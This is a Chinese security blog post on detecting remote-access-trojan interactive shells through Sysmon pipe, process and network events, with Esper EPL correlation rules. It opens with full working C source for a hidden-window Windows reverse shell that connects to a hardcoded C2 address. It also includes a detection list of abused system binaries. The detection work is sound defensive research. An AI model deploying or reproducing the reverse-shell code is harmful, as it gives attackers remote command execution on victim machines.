Home 应用安全 通用模型检测远控木马执行交互式cmdshell

通用模型检测远控木马执行交互式cmdshell

by zinan

对于大部分远控,包括商业/开源/自研,都提供交互式cmdshell命令执行功能,并且红队在内网拿到驻点的后渗透过程中,也比较热衷于使用这个功能,如果监控这类场景,将极大提升入侵检出率。

 

一、交互式cmdshell的实现

由于远控中交互式shell原理和反弹shell基本一致,为了简化分析,以下将用反弹shell的实现方式描述,一般过程为:

创建socket —> 建立到C2服务器的连接 —> 创建2个单向匿名管道 —> 创建cmd.exe子进程 —> 分别在基本输入输出流上绑定2个匿名管道 —> 执行cmd.exe子进程 —> 从管道中循环读取和写入

实现的C代码如下:

/*
@Time    : 2015-03-19 18:32
@Author  : weizinan
@File    : main.c
@Version : 1.0
*/

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32.lib")

#define SOCK_BUFF_SIZE 2048

enum _bind_cmd_ret_
{
    BIND_CMD_NORMAL = 0,
    BIND_CMD_ERR_CREATE_PIPE,
    BIND_CMD_ERR_RECV,
    BIND_CMD_ERR_SEND,
    BIND_CMD_ERR_WR_PIPE,
    BIND_CMD_ERR_RD_PIPE,
};
int bind_cmd_proc(SOCKET soc)
{
    HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2;       //两个匿名管道
    SECURITY_ATTRIBUTES sa;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    fd_set rdSet, wrSet;
    struct timeval timeoVal;
    char sendBuff[SOCK_BUFF_SIZE];
    char recvBuff[SOCK_BUFF_SIZE];
    int recvLen = 0;
    unsigned long lBytesRead = 0;

    memset(&si, NULL, sizeof(STARTUPINFO));
    memset(&sa, NULL, sizeof(SECURITY_ATTRIBUTES));
    memset(&pi, NULL, sizeof(PROCESS_INFORMATION));

    //创建两个匿名管道
    sa.nLength = sizeof(sa);
    sa.lpSecurityDescriptor = 0;
    sa.bInheritHandle = TRUE;
    if (!CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0))
        return BIND_CMD_ERR_CREATE_PIPE;
    if (!CreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0))
        return BIND_CMD_ERR_CREATE_PIPE;

    //用管道与cmd.exe绑定
    GetStartupInfo(&si);
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = hReadPipe1;
    si.hStdOutput = si.hStdError = hWritePipe2;
    CreateProcess(NULL, (LPSTR)"cmd.exe", NULL, NULL, 1, NULL, NULL, NULL, &si, &pi);

    //roll select
    while (1)
    {
        timeoVal.tv_sec = 0;
        timeoVal.tv_usec = 100;
        FD_ZERO(&rdSet);
        FD_ZERO(&wrSet);
        FD_SET(soc, &rdSet);
        memset(recvBuff, NULL, sizeof(recvBuff));
        memset(sendBuff, NULL, sizeof(sendBuff));

        if (select(-1, &rdSet, NULL, NULL, &timeoVal) > 0)
        {
            //recv from socket
            if (FD_ISSET(soc, &rdSet))
            {
                if ((recvLen = recv(soc, recvBuff, sizeof(recvBuff) - 1, 0)) <= 0)
                {
                    closesocket(soc);
                    TerminateProcess(pi.hProcess, -1);
                    CloseHandle(pi.hProcess);
                    CloseHandle(pi.hThread);
                    CloseHandle(hReadPipe1);
                    CloseHandle(hWritePipe1);
                    CloseHandle(hReadPipe2);
                    CloseHandle(hWritePipe2);
                    return BIND_CMD_ERR_RECV;
                }

                //write to pipe
                if (!WriteFile(hWritePipe1, recvBuff, strlen(recvBuff), &lBytesRead, 0))
                {
                    closesocket(soc);
                    TerminateProcess(pi.hProcess, -1);
                    CloseHandle(pi.hProcess);
                    CloseHandle(pi.hThread);
                    CloseHandle(hReadPipe1);
                    CloseHandle(hWritePipe1);
                    CloseHandle(hReadPipe2);
                    CloseHandle(hWritePipe2);
                    return BIND_CMD_ERR_WR_PIPE;
                }
            }
        }
        else
        {
            if (PeekNamedPipe(hReadPipe2, recvBuff, sizeof(recvBuff) - 1, &lBytesRead, 0, 0) && lBytesRead > 0)
            {
                //read from cmd.exe
                if (!ReadFile(hReadPipe2, recvBuff, sizeof(recvBuff) - 1, &lBytesRead, 0))
                {
                    closesocket(soc);
                    TerminateProcess(pi.hProcess, -1);
                    CloseHandle(pi.hProcess);
                    CloseHandle(pi.hThread);
                    CloseHandle(hReadPipe1);
                    CloseHandle(hWritePipe1);
                    CloseHandle(hReadPipe2);
                    CloseHandle(hWritePipe2);
                    return BIND_CMD_ERR_RD_PIPE;
                }

                if (send(soc, recvBuff, strlen(recvBuff), 0) <= 0)
                {
                    closesocket(soc);
                    TerminateProcess(pi.hProcess, -1);
                    CloseHandle(pi.hProcess);
                    CloseHandle(pi.hThread);
                    CloseHandle(hReadPipe1);
                    CloseHandle(hWritePipe1);
                    CloseHandle(hReadPipe2);
                    CloseHandle(hWritePipe2);
                    return BIND_CMD_ERR_SEND;
                }
            }
        }
    }

    return BIND_CMD_NORMAL;
}

int init_socket()
{
    WSADATA wsa;

    memset((char *)&wsa, 0x00, sizeof(wsa));

    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
        return -1;

    return 0;
}

enum _conn_back_ret_
{
    CONN_BACK_NORMAL = 0,
    CONN_BACK_ERR_INIT,
    CONN_BACK_ERR_CREATE_SOC,
    CONN_BACK_ERR_CONN,
};
int conn_back_to_server(char *servIP, unsigned short servPort)
{
    int retVal;
    SOCKET soc;
    struct sockaddr_in servAddr;

    memset((char *)&servAddr, 0x00, sizeof(servAddr));

    servAddr.sin_family = AF_INET;
    servAddr.sin_addr.s_addr = inet_addr(servIP);
    servAddr.sin_port = htons(servPort);

    if (init_socket() != 0)
        return CONN_BACK_ERR_INIT;

    if ((soc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
        return CONN_BACK_ERR_CREATE_SOC;

    if (connect(soc, (struct sockaddr *)&servAddr, sizeof(servAddr)) != 0)
        return CONN_BACK_ERR_CONN;

    retVal = bind_cmd_proc(soc);

    return retVal;
}

int main()
{

    conn_back_to_server("172.18.249.206", 4444);
    return 0;
}

交互式的cmdshell被反弹到C2主机上:

017b37fe50a80246b3e609c6a042aecc

 

二、Sysmon日志分析

启动交互式shell后,受害者主机上产生与此事件相关的Sysmon日志:

beeaabf3e227a162c778c658e760f9f0-2

关键日志详细:

# 创建匿名管道,event_id:17
"event_data": {
      "EventType": "createpipe",
      "PipeName": "<anonymous pipe>",
      "ProcessId": "10060",
      "Image": "c:\\users\\xxx\\desktop\\c_projects\\cmd_shell\\bin\\debug\\cmd_shell.exe",
      "ProcessGuid": "{69cf656d-42f8-6123-7122-000000001500}"
    }
# 连接匿名管道,event_id:18
"event_data": {
      "EventType": "connectpipe",
      "PipeName": "<anonymous pipe>",
      "ProcessId": "10060",
      "Image": "c:\\users\\xxx\\desktop\\c_projects\\cmd_shell\\bin\\debug\\cmd_shell.exe",
      "ProcessGuid": "{69cf656d-42f8-6123-7122-000000001500}"
    }
# 创建cmd.exe子进程,event_id:1
"event_data": {
      "ParentImage": "c:\\users\\xxx\\desktop\\c_projects\\cmd_shell\\bin\\debug\\cmd_shell.exe",
      "Company": "microsoft corporation",
      "LogonGuid": "{69cf656d-b3e8-6114-c5bf-100000000000}",
      "Description": "windows command processor",
      "OriginalFileName": "cmd.exe",
      "TerminalSessionId": "1",
      "IntegrityLevel": "medium",
      "ParentProcessId": "10060",
      "Product": "microsoft® windows® operating system",
      "Image": "c:\\windows\\system32\\cmd.exe",
      "ProcessGuid": "{69cf656d-42f8-6123-7222-000000001500}",
      "FileVersion": "10.0.19041.746 (winbuild.160101.0800)",
      "ParentCommandLine": "c:\\users\\xxx\\desktop\\c_projects\\cmd_shell\\bin\\debug\\cmd_shell.exe ",
      "LogonId": "0x10bfc5",
      "CommandLine_Raw": "cmd.exe",
      "ParentCommandLine_Raw": "C:\\Users\\xxx\\Desktop\\c_projects\\cmd_shell\\bin\\Debug\\cmd_shell.exe ",
      "CommandLine": "cmd.exe",
      "ProcessId": "10104",
      "ParentProcessGuid": "{69cf656d-42f8-6123-7122-000000001500}",
    }
# 访问cmd.exe子进程绑定管道,event_id:10
"event_data": {
      "GrantedAccess": "0x1fffff",
      "SourceImage": "c:\\users\\xxx\\desktop\\c_projects\\cmd_shell\\bin\\debug\\cmd_shell.exe",
      "TargetImageDescription": "windows command processor",
      "TargetImageOriginalFileName": "cmd.exe",
      "SourceProcessId": "10060",
      "SourceProcessGUID": "{69cf656d-42f8-6123-7122-000000001500}",
      "UtcTime": "2021-08-23 06:40:56.783",
      "TargetProcessId": "10104",
      "SourceThreadId": "11216",
      "TargetImage": "c:\\windows\\system32\\cmd.exe",
      "TargetProcessGUID": "{69cf656d-42f8-6123-7222-000000001500}",
    }
# 发起对C2地址的网络链接,event_id:3
"event_data": {
      "SourcePort": 62093,
      "Image": "c:\\users\\xxx\\desktop\\c_projects\\cmd_shell\\bin\\debug\\cmd_shell.exe",
      "DestinationPort": 4444,
      "ProcessGuid": "{69cf656d-42f8-6123-7122-000000001500}",
      "DestinationIp": "172.18.249.206",
      "Initiated": "true",
      "SourceIp": "192.168.162.225",
      "SourceIsIpv6": "false",
      "DestinationIsIpv6": "false",
      "ProcessId": "10060",
      "Protocol": "tcp",
      "direction": "outbound",
      "md5": "579f8566e1db5a9831b317eb9f4d4555"
    }

通过以上日志,可以梳理出更详细的执行过程:

进程在时间序列上依次触发Sysmon日志ID: 3(主动发起对外网络连接)-> 17(创建匿名管道)-> 18(连接输入管道)-> 17(创建匿名管道)-> 18(连接输出管道)-> 1(启动子进程并执行命令)-> 10(打开子进程绑定基本I/O流)

 

三、策略构建

总结出行为在日志中的表达后,即可尝试编写CEP规则,不同的CEP引擎规则编写方式不同,例如CEP引擎ESPER在入侵检测系统中的实践,对于此事件描述的EPL语句可参考如下。

1、创建时间窗口缓存事件日志

不仅仅监控cmd.exe,同时需要监控powershell.exe,甚至黑客可能绕过终端程序直接和相关命令绑定管道,此外还有python.exe等脚本解释控制台,都应该在考虑范围内:

# 创建绑定匿名管道执行CMD命令的全局窗口
epl: '
@name("创建绑定匿名管道执行CMD命令的全局窗口_Sysmon_创建临时缓存窗口")
@public
create window dc9ska0wsa_win#groupwin(computer_name)#time(10 sec) as
select
*
from SysmonRawLogs;


@name("创建绑定匿名管道执行CMD命令的全局窗口_Sysmon_创建窗口索引")
create index dc9ska0wsa_win_Index
on dc9ska0wsa_win (
    computer_name hash,
    event_id hash,
    event_data_image hash,
    event_data_sourceimage hash,
    event_data_processguid hash,
    event_data_sourceprocessguid hash,
    event_data_processid hash,
    event_data_sourceprocessid hash,
    event_data_parentimage,
    event_data_parentprocessguid,
    event_data_parentprocessid
);


@name("创建绑定匿名管道执行CMD命令的全局窗口_Sysmon_写入缓存数据")
insert into dc9ska0wsa_win
select
*
from SysmonRawLogs
where
(
  event_id in ("17", "18")
  and event_data_pipename = "<anonymous pipe>"
  and event_data_eventtype in ("createpipe", "connectpipe")
)
or
(
    event_id = "1"
    and not StringUtils.wildcard_match(event_data_parentcommandline, "*.ps1")
    and not StringUtils.wildcard_match(event_data_parentimage, "*\\java.exe")
    and not StringUtils.wildcard_match(event_data_parentimage, "*\\xshellcore.exe")
    and (
        StringUtils.wildcard_match(event_data_image, "*\\cmd.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\powershell.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\whoami.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\hostname.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\net.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\net1.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\systeminfo.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\wmic.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\regsvr32.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\bitsadmin.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\cmstp.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\mshta.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\certutil.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\rundll32.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\cscript.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\msiexec.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\sctasks.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\wscript.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\tasklist.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\taskkill.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\ping.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\nslookup.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\tracert.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\xcopy.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\quser.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\netstat.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\qprocess.exe")
        or StringUtils.wildcard_match(event_data_image, "*\\nltest.exe")
    )
)
or
(
    event_id = "10"
    and (
        StringUtils.wildcard_match(event_data_targetimage, "*\\cmd.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\powershell.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\whoami.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\hostname.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\net.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\net1.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\systeminfo.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\wmic.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\regsvr32.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\bitsadmin.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\cmstp.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\mshta.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\certutil.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\rundll32.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\cscript.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\msiexec.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\sctasks.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\wscript.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\tasklist.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\taskkill.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\ping.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\nslookup.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\tracert.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\xcopy.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\quser.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\netstat.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\qprocess.exe")
        or StringUtils.wildcard_match(event_data_targetimage, "*\\nltest.exe")
    )
);
'

2、检测通过绑定2个匿名管道执行交互式命令

# 通过绑定2个单向匿名管道执行交互式CMD命令_Sysmon
epl: '
@name("通过绑定2个单向匿名管道执行交互式CMD命令_Sysmon_内联查询")
select * from
dc9ska0wsa_win as a1,
dc9ska0wsa_win as b1,
dc9ska0wsa_win as a2,
dc9ska0wsa_win as b2,
dc9ska0wsa_win as c1,
dc9ska0wsa_win as d

where
a1.event_id = "17"
and a2.event_id = "17"
and b1.event_id = "18"
and b2.event_id = "18"
and c1.event_id = "10"
and d.event_id = "1"

and a1.log_id != a2.log_id
and b1.log_id != b2.log_id

and a1.event_data_eventtype = "createpipe"
and a1.event_data_pipename = "<anonymous pipe>"
and a2.event_data_eventtype = "createpipe"
and a2.event_data_pipename = "<anonymous pipe>"
and b1.event_data_eventtype = "connectpipe"
and b1.event_data_pipename = "<anonymous pipe>"
and b2.event_data_eventtype = "connectpipe"
and b2.event_data_pipename = "<anonymous pipe>"

and a1.computer_name = b1.computer_name
and a1.event_data_image = b1.event_data_image
and a1.event_data_processguid = b1.event_data_processguid
and a1.event_data_processid = b1.event_data_processid

and b1.computer_name = a2.computer_name
and b1.event_data_image = a2.event_data_image
and b1.event_data_processguid = a2.event_data_processguid
and b1.event_data_processid = a2.event_data_processid

and a2.computer_name = b2.computer_name
and a2.event_data_image = b2.event_data_image
and a2.event_data_processguid = b2.event_data_processguid
and a2.event_data_processid = b2.event_data_processid

and b2.computer_name = c1.computer_name
and b2.event_data_image = c1.event_data_sourceimage
and b2.event_data_processguid = c1.event_data_sourceprocessguid
and b2.event_data_processid = c1.event_data_sourceprocessid

and c1.computer_name = d.computer_name
and c1.event_data_sourceimage = d.event_data_parentimage
and c1.event_data_sourceprocessguid = d.event_data_parentprocessguid
and c1.event_data_sourceprocessid = d.event_data_parentprocessid

and c1.event_data_targetimage = d.event_data_image
and c1.event_data_targetprocessguid = d.event_data_processguid
and c1.event_data_targetprocessid = d.event_data_processid

and a1.unix_timestamp <= b1.unix_timestamp
and a2.unix_timestamp <= b2.unix_timestamp

and b1.unix_timestamp <= c1.unix_timestamp
and a1.unix_timestamp <= d.unix_timestamp

and Math.abs(d.unix_timestamp - a1.unix_timestamp) < 3000
and Math.abs(a1.unix_timestamp - b1.unix_timestamp) < 1500
and Math.abs(a2.unix_timestamp - b2.unix_timestamp) < 1500
and Math.abs(c1.unix_timestamp - d.unix_timestamp) < 1500
;

'

3、关联网络事件确定远控进程

如果仅仅单一检测父进程通过绑定匿名管道与子进程创建交互式shell,可能存在大量误报,例如某些IDE的仿真控制台,也会使用这种形式,因此需要结合网络连接信息综合判断,例如主动发起过对公网的TCP连接,那么行为就很可疑:

# 可疑进程通过2个单向匿名管道执行交互式CMD命令
epl: '
@name("可疑进程通过2个单向匿名管道执行交互式CMD命令_Sysmon_DC_查询同时有两个行为的进程_1")
select * from pattern [
    every-distinct(
        a.computer_name, a.event_data_sourceip, a.event_data_destinationip,
        a.event_data_destinationport, a.event_data_image, 3 hour
    )
    a=SysmonRawLogs(
        event_id = "3"
        and event_data_initiated = "true"

        and IPAddress4Utils.is_valid_ipv4(event_data_sourceip)
        and IPAddress4Utils.is_valid_ipv4(event_data_destinationip)

        and event_data_sourceip != "127.0.0.1"
        and event_data_destinationip != "127.0.0.1"

        and not StringUtils.wildcard_match(event_data_image, "*\\google\\*")
        and not StringUtils.wildcard_match(event_data_image, "*\\inetsrv\\w3wp.exe")
        and not StringUtils.wildcard_match(event_data_image, "*\\system32\\dns.exe")
        and not StringUtils.wildcard_match(event_data_image, "*\\system32\\svchost.exe")
    ) ->

    b=ComplexAttackAlerts(
        rule_name = "通过绑定2个单向匿名管道执行交互式CMD命令_Sysmon"
        and a.computer_name = host_computer_name
        and a.event_data_image = host_parent_images
        and a.event_data_processguid = host_parent_guid
        and a.event_data_processid = host_parent_pid
    ) where timer:within(6 hour)
];

'

4、误报情况

新规则上线可能存在部分误报,某些正常软件也存在类似的行为,但误报量也很少,添加少量白名单即可收敛掉,最后告警产生的效果:

78178be7f0f786af220757c65b1525f5

 

四、后话

这个模型仅仅适用于回连型远控的交互式shell功能,如果攻击者不使用这个功能,是无法触发告警,目前测试可监控市面上常见的远控,包括商业和自研的远控,看来各家的实现方式基本都是通过绑定2个单向匿名管道。

但也有的不能被监控,例如CobaltStrike,原因是CobaltStrike的shell不是交互式的,而是使用类似于popen()的函数,仅仅通过1个单向匿名管道,将执行的命令结果读取出后返回给C2,但对于popen()这种执行命令方式的监控,只需将这个模型改为『可疑进程通过1个单向匿名管道执行非交互式CMD命令』即可,细节本文不再赘述。

打赏
0 comment

You may also like

Leave a Comment

*

code

error: Alert: Content is protected !!